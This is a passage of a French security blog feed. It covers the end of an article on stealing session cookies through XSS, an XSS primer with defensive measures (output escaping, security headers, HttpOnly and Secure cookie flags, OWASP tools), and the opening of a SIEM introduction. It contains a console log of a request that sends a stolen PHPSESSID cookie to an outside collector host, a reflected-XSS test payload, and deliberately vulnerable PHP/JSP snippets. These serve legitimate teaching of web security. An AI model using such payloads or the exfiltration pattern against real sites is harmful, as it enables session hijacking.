&lt;p&gt;Bingo, même avec un path défini pour ce cookie, nous avons pu le récupérer, et si vous avez bien retenu votre leçon dans le &lt;a href=&quot;https://phackt.org/xss-cors-csrf-partie-1-xss&quot;&gt;volet 1&lt;/a&gt; de notre saga XSS, vous connaissez la contre-mesure à ce payload : le response header &lt;strong&gt;X-Frame-Options&lt;/strong&gt; qui interdit qu’une page soit rendue dans un &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;frame&amp;gt;&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; ou &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;object&amp;gt;&lt;/code&gt;. Bien évidemment il est préférable en amont de toujours positionner le flag &lt;strong&gt;HttpOnly&lt;/strong&gt;. L’accès au cookie par javascript est peu justifiable dans les développements Web.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;“J’ai activé la console de mon navigateur et je remarque cependant un warning:”&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre class=&quot;alert&quot;&gt;
XMLHttpRequest cannot load http://requestb.in/w7iy5sw7?cookie=PHPSESSID_unsecured=jm5mah0a9uuf4g344096nled73.  
No &apos;Access-Control-Allow-Origin&apos; header is present on the requested resource. Origin &apos;http://localhost&apos; is therefore not allowed access.
&lt;/pre&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;“Nous requêtons depuis une ressource du domaine http://localhost:80 vers le domaine http://requestb.in:80, et nous avons ce message, comment se fait-il que la requête ait abouti ?”&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Et bien je vous remercie d’avoir posé la question :). Nous sommes typiquement dans le cas d’une requête Cross Origin. Aujourd’hui AJAX  est omniprésent dans les développements de par l’essor des frameworks client riches comme AngularJS. Je réserve le détail du &lt;strong&gt;Cross-Origin Resource Sharing&lt;/strong&gt; pour le dernier volet de cette saga. La connaissance du CORS est essentielle pour les développeurs WEB.&lt;/p&gt;

&lt;p&gt;Imaginez que vous surfiez sur un site frauduleux qui puisse soumettre à votre insu des requêtes sur un de vos sites préférés en incluant vos informations de session et poster des formulaires à votre place… C’est à ce niveau qu’il est essentiel de bien configurer le Cross-Origin Resource Sharing et de définir un &lt;strong&gt;token de sécurité&lt;/strong&gt; pour éviter les attaques &lt;strong&gt;Cross-Site Request Forgery&lt;/strong&gt;. Ceci nous montre bien que les vecteurs d’attaques sont multiples.&lt;/p&gt;

&lt;p&gt;A très bientôt.&lt;/p&gt;

&lt;h3 id=&quot;partie-3&quot;&gt;&lt;a href=&quot;https://phackt.org/xss-cors-csrf-partie-3-cors-csrf&quot;&gt;PARTIE 3&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;br /&gt;
Références:&lt;br /&gt;
&lt;a href=&quot;http://php.net/manual/fr/session.security.php&quot;&gt;http://php.net/manual/fr/session.security.php&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://geekflare.com/httponly-secure-cookie-apache/&quot;&gt;https://geekflare.com/httponly-secure-cookie-apache/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://fetch.spec.whatwg.org/&quot;&gt;https://fetch.spec.whatwg.org/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://geekflare.com/secure-cookie-flag-in-tomcat/&quot;&gt;https://geekflare.com/secure-cookie-flag-in-tomcat/&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>XSS, CORS, CSRF (Partie 1)</title>
   <link href="https://phackt.org/xss-cors-csrf-partie-1-xss"/>
   <updated>2016-08-09T00:00:00+00:00</updated>
   <id>https://phackt.org/xss-cors-csrf-partie-1-xss</id>
   <content type="html">&lt;h3 id=&quot;le-xss-cors-csrf-késako&quot;&gt;Le XSS, CORS, CSRF… Késako?&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Que se cache-t-il derrière ces acronymes barbares ?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Bienvenue dans cette saga qui traitera des notions de XSS, CORS, CSRF et du lien entre elles.&lt;br /&gt;
Vous en avez forcément entendu parler si vous avez été impliqués dans la création d’applications WEB. L’idée de cet article m’est venue suite à la création d’une application WEB “cas d’école” en Java &lt;a href=&quot;https://github.com/phackt/DemoWebApp&quot;&gt;https://github.com/phackt/DemoWebApp&lt;/a&gt;. La question que nous nous posons est la suivante : &lt;strong&gt;quelles sont les bonnes pratiques pour sécuriser une application WEB ?&lt;/strong&gt;&lt;br /&gt;
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;Dans ce premier volet, nous traiterons des attaques de cross-site scripting. Nous ferons le lien par la suite avec les protections CSRF (Cross Site Request Forgery) et les requêtes CORS (Cross Origin Ressource Sharing).&lt;/p&gt;

&lt;h1 id=&quot;xss&quot;&gt;XSS&lt;/h1&gt;
&lt;p&gt;Définition de Wikipédia :&lt;br /&gt;
&lt;em&gt;” Le cross-site scripting (abrégé XSS), est un type de faille de sécurité des sites web permettant d’injecter du contenu dans une page, permettant ainsi de provoquer des actions sur les navigateurs web visitant la page. Les possibilités des XSS sont très larges puisque l’attaquant peut utiliser tous les langages pris en charge par le navigateur (JavaScript, Java, Flash…) et de nouvelles possibilités sont régulièrement découvertes notamment avec l’arrivée de nouvelles technologies comme HTML5. Il est par exemple possible de rediriger vers un autre site pour de l’hameçonnage ou encore de voler la session en récupérant les cookies.”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;L’objectif est donc l’injection de code dans la page HTML pouvant être interprété par le navigateur. Si les balises permettant l’interprétation de code arbitraire ne sont pas bien filtrées, exemple classique avec la balise &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;script&amp;gt;&lt;/code&gt;, alors nous pourrons exécuter du code à l’insu de l’utilisateur. &lt;br /&gt;
Il existe deux types d’attaques XSS, les réfléchies, et les stockées. Les réfléchies sont injectées dans la requête et le code interprétable n’est pas stocké de façon permanente sur le serveur.&lt;/p&gt;

&lt;p&gt;Un exemple basique sur une page PHP :&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;name&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Welcome &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Un autre exemple en JSP :&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;%&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getParameter&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&amp;gt;&lt;/span&gt; 
&lt;span class=&quot;nc&quot;&gt;Employee&lt;/span&gt; &lt;span class=&quot;nl&quot;&gt;name:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;%=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&amp;gt;&lt;/span&gt;  
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Si vous appelez &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/index?name=&amp;lt;script&amp;gt;prompt(1)&amp;lt;/script&amp;gt;&lt;/code&gt;, votre navigateur interprétera la balise &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;script&amp;gt;&lt;/code&gt; et affichera un donc un prompt. Aucun intérêt ici mais on vous laisse deviner la portée d’une telle attaque : un payload javascript pourra voler vos informations de session (&lt;em&gt;document.cookie&lt;/em&gt;), envoyer des requêtes à votre insu sur le site vulnérable ou faire de la redirection dans un but d’hameçonnage. Les attaques XSS Reflected sont souvent associées à de l’ingénierie sociale car l’utilisateur doit accéder à un lien provoquant l’exécution du code.&lt;/p&gt;

&lt;p&gt;Cependant ce code peut être stocké de façon permanente dans les attaques XSS Stored. Le principe est le même sauf que le code est stocké sur le serveur, le cas classique étant un forum vulnérable qui sauvegarde les messages infectés (&lt;a href=&quot;https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29&quot;&gt;OWASP (Open Web Application Security Project) Cross-Site Scripting&lt;/a&gt;).&lt;/p&gt;

&lt;h1 id=&quot;comment-sen-prémunir-&quot;&gt;Comment s’en prémunir ?&lt;/h1&gt;

&lt;p&gt;Il convient d’assainir en entrée les données (Filter) et d’encoder l’information pour les réponses HTTP. Tout dépend du langage de programmation, framework utilisé, et également de l’endroit où se situe point d’injection.&lt;/p&gt;

&lt;p&gt;Par exemple si vous travaillez avec Spring MVC pour échapper les outputs:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;context-param&amp;gt;
   &amp;lt;param-name&amp;gt;defaultHtmlEscape&amp;lt;/param-name&amp;gt;
   &amp;lt;param-value&amp;gt;true&amp;lt;/param-value&amp;gt;
&amp;lt;/context-param&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Cependant ceci n’échappera que les Spring tags: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;form:input path=&quot;formField&quot; htmlEscape=&quot;true&quot; /&amp;gt;&lt;/code&gt; ou bien &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;spring:message code=&quot;label.name.first&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Si vous codez des pages JSP :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;${description}&lt;/code&gt; est vulnérable en Expression Language, idem pour  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;%=description%&amp;gt;&lt;/code&gt; en scriptlet. Préférez &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;${fn:escapeXml(file.description)}&lt;/code&gt; ou encore la JSTL (JavaServer Pages Standard Tag Library) &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;c:out value=&quot;${file.description}&lt;/code&gt;. La balise JSTL &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;c:out/&amp;gt;&lt;/code&gt; permet d’afficher une variable et possède l’attribut &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;escapeXml&lt;/code&gt; à &lt;em&gt;true&lt;/em&gt; par défaut (caractères &amp;lt;,&amp;gt;,&amp;amp;,’,”).&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Tester les fonctions d’échappement du framework de rendu que vous utilisez et si besoin échappez vos entrées coté serveur : &lt;a href=&quot;http://docs.spring.io/spring/docs/current/javadoc-api/org/springframework/web/util/HtmlUtils.html#htmlEscape-java.lang.String-&quot; title=&quot;http://docs.spring.io/spring/docs/current/javadoc-api/org/springframework/web/util/HtmlUtils.html#htmlEscape-java.lang.String-&quot;&gt;HtmlUtils.htmlEscape&lt;/a&gt; avec Spring, &lt;a href=&quot;https://commons.apache.org/proper/commons-lang/javadocs/api-release/&quot; title=&quot;https://commons.apache.org/proper/commons-lang/javadocs/api-release/&quot;&gt;StringEscapeUtils.escapeHtml4&lt;/a&gt; d’Apache Commons, ou le &lt;a href=&quot;https://github.com/OWASP/java-html-sanitizer/blob/master/docs/getting_started.md&quot; title=&quot;https://github.com/OWASP/java-html-sanitizer/blob/master/docs/getting_started.md&quot;&gt;Java HTML Sanitizer&lt;/a&gt; d’OWASP.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Autre exemple si vous codez en PHP, utilisez les fonctions &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;htmlentities&lt;/code&gt; (avec l’option ENT_QUOTES, pour échapper les simple quotes), ou &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;htmlspecialchars&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Vous pouvez également protéger votre application derrière un &lt;strong&gt;Web Application Firewall&lt;/strong&gt; (ex: &lt;a href=&quot;http://www.modsecurity.org/&quot; title=&quot;http://www.modsecurity.org/&quot;&gt;ModSecurity&lt;/a&gt;). ModSecurity met à disposition une &lt;a href=&quot;https://www.modsecurity.org/crs-demo.html&quot; title=&quot;https://www.modsecurity.org/crs-demo.html&quot;&gt;page&lt;/a&gt; permettant d’éprouver leur moteur de détection d’injection XSS.&lt;/p&gt;

&lt;p&gt;Si vous utilisez la couche &lt;strong&gt;Spring Security&lt;/strong&gt; (ce qui a été mon cas ;)), le framework inclut par défaut de nombreux headers dans la réponse HTTP:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;X-Content-Type-Options&lt;/strong&gt;: Stipule de ne pas deviner le MIME-Type si mal renseigné (spécifique à certaines attaques XSS) – voir &lt;a href=&quot;https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet&quot;&gt;OWASP XSS Filter Evasion Cheat Sheet&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;X-XSS-Protection&lt;/strong&gt;: Stipule d’activer l’auditeur XSS du navigateur. Si votre site est vulnérable au XSS, mais que votre réponse contient le header &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X-XSS-Protection: 1; mode=block&lt;/code&gt;, vous aurez le message suivant dans la console de votre navigateur (ici Chrome): &lt;span style=&quot;color: red&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Refused to execute inline script because it violates the following Content Security Policy Directive&lt;/code&gt;&lt;/span&gt;.&lt;br /&gt;
&lt;em&gt;Update 10/08/2020:&lt;/em&gt; Ce header est aujourd’hui obsolète, il sera remplacé par la directive &lt;em&gt;Reflected-XSS&lt;/em&gt; dans l’en-tête CSP.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;X-Frame-Options&lt;/strong&gt;: Spécifie au navigateur qu’une page ne peut être rendue dans un &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;frame&amp;gt;&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; ou &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;object&amp;gt;&lt;/code&gt;.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ces headers, ainsi que HTTP &lt;strong&gt;Strict-Transport-Security&lt;/strong&gt; (abrégé HSTS – oblige le navigateur à requêter sur du HTTPS, utile pour lutter contre le blocage des connexions sécurisées HTTPS avec des outils comme sslstrip lors d’attaques “Man In The Middle”), ou &lt;strong&gt;Cache-Control&lt;/strong&gt; sont par défaut inclus et activés dans la couche Spring Security (&lt;a href=&quot;http://docs.spring.io/spring-security/site/docs/current/reference/html/headers.html&quot; title=&quot;http://docs.spring.io/spring-security/site/docs/current/reference/html/headers.html&quot;&gt;Spring Security Headers&lt;/a&gt;).&lt;br /&gt;
Il convient également d’ajouter le header &lt;strong&gt;&lt;a href=&quot;https://www.w3.org/TR/CSP/&quot;&gt;Content-Security-Policy&lt;/a&gt;&lt;/strong&gt; qui propose de nombreuses directives de sécurité définissant  quelles ressources peuvent être chargées et exécutées par le browser.&lt;/p&gt;

&lt;p&gt;Si vous utilisez une autre technologie ou framework, pensez à inclure ces response headers en fonction de vos besoins.&lt;/p&gt;

&lt;p&gt;Pensez également à sécuriser vos &lt;strong&gt;cookies session&lt;/strong&gt;. Les requêtes XSS ont pour objectif le vol de ces cookies. Stipulez au navigateur que ce dernier ne peut pas y accéder via javascript (flag &lt;strong&gt;HttpOnly&lt;/strong&gt;). Pour un site HTTPS, ces derniers ne doivent pas être accessibles sur des connexions non cryptées (flag &lt;strong&gt;Secure&lt;/strong&gt;): &lt;a href=&quot;https://tools.ietf.org/html/rfc6265#section-5.2.4&quot;&gt;https://tools.ietf.org/html/rfc6265#section-5.2.4&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;des-outils-pour-vos-développements-sécurisés&quot;&gt;Des outils pour vos développements sécurisés&lt;/h1&gt;

&lt;blockquote&gt;
  &lt;p&gt;Eprouvez votre application avec un outil tel que &lt;a href=&quot;https://www.owasp.org/index.php/OWASP_Xenotix_XSS_Exploit_Framework&quot; title=&quot;https://www.owasp.org/index.php/OWASP_Xenotix_XSS_Exploit_Framework&quot;&gt;Xenotix&lt;/a&gt;.&lt;br /&gt;
 Vous disposez aussi des supports &lt;a href=&quot;https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet&quot; title=&quot;https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet&quot;&gt;OWASP XSS Filter Evasion Cheat Sheet&lt;/a&gt; et &lt;a href=&quot;https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet&quot;&gt;OWASP Prevention Cheat Sheet&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Il est également important de parler de l’api d’OWASP &lt;a href=&quot;https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API&quot; title=&quot;https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API&quot;&gt;ESAPI (The OWASP Enterprise Security API)&lt;/a&gt; qui est une API libre, open source, qui facilite le développement sécurisé d’applications, facilement intégrable à une application existante ou pour de nouveaux développements. Cette API offre de nombreuses implémentations permettant les validations des entrées, l’authentification, l’encoding, l’échappement, … l’API existe pour différents langages, JAVA EE, .NET, PHP, Python, Javascript, ASP, Coldfusion &amp;amp; CFML.&lt;/p&gt;

&lt;p&gt;Il existe également d’autres projets qui peuvent répondre à vos besoins :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Output encoding: &lt;a href=&quot;https://www.owasp.org/index.php/OWASP_Java_Encoder_Project&quot; title=&quot;https://www.owasp.org/index.php/OWASP_Java_Encoder_Project&quot;&gt;OWASP Java Encoder Project&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;General HTML sanitization: &lt;a href=&quot;https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project&quot; title=&quot;https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project&quot;&gt;OWASP Java HTML Sanitizer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Validation: &lt;a href=&quot;http://beanvalidation.org/&quot; title=&quot;http://beanvalidation.org/&quot;&gt;JSR-303/JSR-349 Bean Validation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Strong cryptography: &lt;a href=&quot;https://github.com/google/keyczar&quot; title=&quot;https://github.com/google/keyczar&quot;&gt;Keyczar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Authentication / authorization: &lt;a href=&quot;https://shiro.apache.org/&quot; title=&quot;https://shiro.apache.org/&quot;&gt;Apache Shiro&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;CSRF protection: &lt;a href=&quot;https://www.owasp.org/index.php/Category:OWASP_CSRFGuard_Project&quot; title=&quot;https://www.owasp.org/index.php/Category:OWASP_CSRFGuard_Project&quot;&gt;OWASP CSRFGuard Project&lt;/a&gt; or &lt;a href=&quot;https://www.owasp.org/index.php/CSRFProtector_Project&quot; title=&quot;https://www.owasp.org/index.php/CSRFProtector_Project&quot;&gt;OWASP CSRFProtector Project&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Les attaques possibles sont nombreuses sur une application web, nous avons mis en avant celles de type XSS. Nous verrons dans un prochain article comment ces attaques peuvent détourner les protections CSRF, voler les cookies de session et dans quelle mesure les requêtes Cross-Origin impactent la sécurité d’une application web.&lt;/p&gt;

&lt;p&gt;A bientôt!&lt;/p&gt;

&lt;h3 id=&quot;partie-2&quot;&gt;&lt;a href=&quot;https://phackt.org/xss-cors-csrf-partie-2-xss-cookies-session&quot;&gt;PARTIE 2&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;Références:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/questions/2147958/how-do-i-prevent-people-from-doing-xss-in-spring-mvc&quot;&gt;http://stackoverflow.com/questions/2147958/how-do-i-prevent-people-from-doing-xss-in-spring-mvc&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jsoup.org/&quot;&gt;https://jsoup.org/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>Introduction au SIEM</title>
   <link href="https://phackt.org/introduction-siem"/>
   <updated>2016-08-05T00:00:00+00:00</updated>
   <id>https://phackt.org/introduction-siem</id>
   <content type="html">&lt;h3 id=&quot;siem-le-monitoring-de-la-sécurité&quot;&gt;SIEM, le monitoring de la sécurité&lt;/h3&gt;

&lt;p&gt;Nous avons vu dans un précédent article quel était le contexte réglementaire de la &lt;a href=&quot;https://phackt.org/introduction-cybersecurite&quot;&gt;Loi de Programmation Militaire&lt;/a&gt; française.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Que dites-vous d’une petite révision ?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;La LPM impose aux &lt;strong&gt;OIV&lt;/strong&gt; (Opérateurs d’Importance Vitale) de renforcer la sécurité des systèmes d’information critiques qu’ils exploitent et de notifier les incidents de sécurité à l’&lt;a href=&quot;http://www.ssi.gouv.fr/&quot;&gt;ANSSI&lt;/a&gt; (Agence Nationale de la Sécurité des Systèmes d’Information).&lt;br /&gt;
Une première vague d’arrêtés a été publiée le 1er juillet 2016. Ces arrêtés concernent les secteurs d’activité des produits de santé, la gestion de l’eau et l’alimentation. Plusieurs autres arrêtés, concernant d’autres secteurs d’activité, devraient paraître d’ici la fin de cette année.&lt;br /&gt;
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;Notez que la Commission européenne a également adopté, en février 2013, une proposition de directive visant à assurer un niveau élevé commun de sécurité des réseaux et de l’information dans l’Union.&lt;/p&gt;

&lt;p&gt;Les OIV se retrouvent donc avec l’obligation de mettre en œuvre des systèmes qualifiés de détection des évènements susceptibles d’affecter la sécurité de leurs systèmes d’information. En cas de manquement, ceci peut coûter cher : la LPM 2014-2019 sanctionne les manquements à la loi d’une amende de 150.000€, s’élevant à 750.000€ pour les personnes morales. La loi française ne distingue pas selon que le manquement est ou non intentionnel. La simple négligence est donc en principe condamnable.&lt;/p&gt;

&lt;p&gt;Nous voyons donc qu’en sus d’un réel besoin, le cadre réglementaire concernant la supervision de la sécurité des entreprises est posé.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mais en quoi consiste ce monitoring de la sécurité ?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Nous allons aborder la notion de &lt;strong&gt;SIEM&lt;/strong&gt; : Security Information and Event Management.&lt;br /&gt;
Le SIEM est le résultat de la volonté de superviser l’activité de son système d’information.&lt;br /&gt;
Il a donc pour objectif de collecter les fichiers d’évènements (logs) de différentes sources, de les uniformiser, et de les corréler. On parle de corrélation car ces solutions sont munies de moteurs de corrélation qui permettent de relier plusieurs évènements à une même cause.&lt;/p&gt;

&lt;p&gt;Un SIEM impliquera également la création d’une équipe dédiée, capable d’assurer plusieurs niveaux de services autour de l’outil. En effet, il faudra être en capacité de lire, d’analyser, de vérifier, de valider les alertes de sécurité remontées par la solution 7j/7 24H/24, les assaillants n’attendant pas patiemment les heures ouvrées pour commettre leurs exactions.&lt;/p&gt;

&lt;p&gt;En somme, il faudra créer un SOC (&lt;a href=&quot;https://fr.wikipedia.org/wiki/Security_Operations_Center&quot; title=&quot;https://fr.wikipedia.org/wiki/Security_Operations_Center&quot;&gt;Security Operation Center&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Quel rapport entre journaux et sécurité ?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Le monitoring du SI implique deux besoins : &lt;strong&gt;la gestion des logs et la supervision de la sécurité&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;La gestion des logs&lt;/em&gt;, plus souvent appelée « Log Management », consiste en la mise en place d’une ou plusieurs solutions permettant à une entreprise de
collecter, stocker, sécuriser et archiver les journaux d’information provenant des différents équipements de sécurité, d’authentification, réseaux…&lt;/p&gt;

&lt;p&gt;Ce besoin fait très souvent suite à des contraintes légales de conservation et de non-répudiation des informations. Un exemple est l’analyse post incident et la visualisation de requêtes d’exfiltration de données par le hacker. La brique d’indexation et de recherche est assurée par un système d’indexation très rapide (exemple ElasticSearch en open source).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;La supervision de la sécurité&lt;/em&gt; quant à elle, relève d’un réel besoin des entreprises de suivre en temps réel l’activité de leur SI, de corréler tous les évènements qui s’y passent et d’être alertés en cas de problème de sécurité. Cette partie sera assurée par une couche &lt;strong&gt;HIDS&lt;/strong&gt; (Host Based Intrusion Detection System - ex: OSSEC) / &lt;strong&gt;NIDS&lt;/strong&gt; (Network Intrusion Detection System - ex: SNORT).&lt;/p&gt;

&lt;p&gt;Les alertes de ces systèmes seront remontées au SIEM qui effectuera des &lt;strong&gt;corrélations&lt;/strong&gt; (règles de détection mises à jours régulièrement, expressions régulières) permettant de détecter des comportements suspicieux probants, et ainsi d’anticiper une attaque (exemple de scan de ports – voir &lt;a href=&quot;https://nmap.org/book/man-port-scanning-techniques.html&quot; title=&quot;https://nmap.org/book/man-port-scanning-techniques.html&quot;&gt;nmap&lt;/a&gt;), ou de remonter une alerte sur une attaque en cours.  De surcroît, les informations remontées par les NIDS et HIDS sont &lt;strong&gt;complémentaires&lt;/strong&gt; : le NIDS remontera la source de l’attaque (IP) et le payload envoyé, le HIDS alertera sur l’action effectuée sur le système ciblé et si cette dernière a abouti.&lt;/p&gt;

&lt;p&gt;Ainsi des règles de corrélations pourront être mises en place pour déterminer la criticité d’une alerte (évitez les règles trop génériques pouvant mener à des faux positifs). Voici un exemple de règle de corrélation d’un SIEM impliquant des alertes de SNORT et d’OSSEC sur une attaque LFI (&lt;a href=&quot;https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion&quot;&gt;Local File Inclusion&lt;/a&gt;):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/introduction-siem/events_flowchart1.png&quot; alt=&quot;Corrélation LFI&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Le SIEM dispose d’une partie graphique pour l’affichage des Key Risk Indicators(reportings et dashboards).&lt;br /&gt;
Ces composantes sont donc intimement liées. Les solutions doivent faire appel à des technologies de Big Data pour assurer la rapidité de traitement et garantir l’intégrité de ces gros volumes de données qui transitent par le SIEM.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Quelles sont donc ces solutions ?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Selon le Gartner Magic Quadrant 2015 :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/introduction-siem/2015-siem-mq-LG.png&quot; alt=&quot;Gartner Magic Quadrant SIEM 2015&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And the winner is…. IBM Security QRadar, suivi de HP ArcSight et de Splunk.&lt;br /&gt;
Ces solutions sont commerciales, mais le geek qui est en vous se demande déjà ce qu’il en est des solutions libres ? Effectivement il existe des solutions comme &lt;a href=&quot;https://www.alienvault.com/products/ossim&quot; title=&quot;https://www.alienvault.com/products/ossim&quot;&gt;OSSIM&lt;/a&gt; qui est un SIEM open source, mais cependant limité (absence de règles de corrélations, reporting basique, …).&lt;/p&gt;

&lt;p&gt;Il existe également une solution d’agrégation de logs, ou plutôt une stack open source de produits Elastic, la stack &lt;strong&gt;ELK (ElasticSearch, Logstash, Kibana)&lt;/strong&gt; :&lt;/p&gt;

&lt;ul&gt;
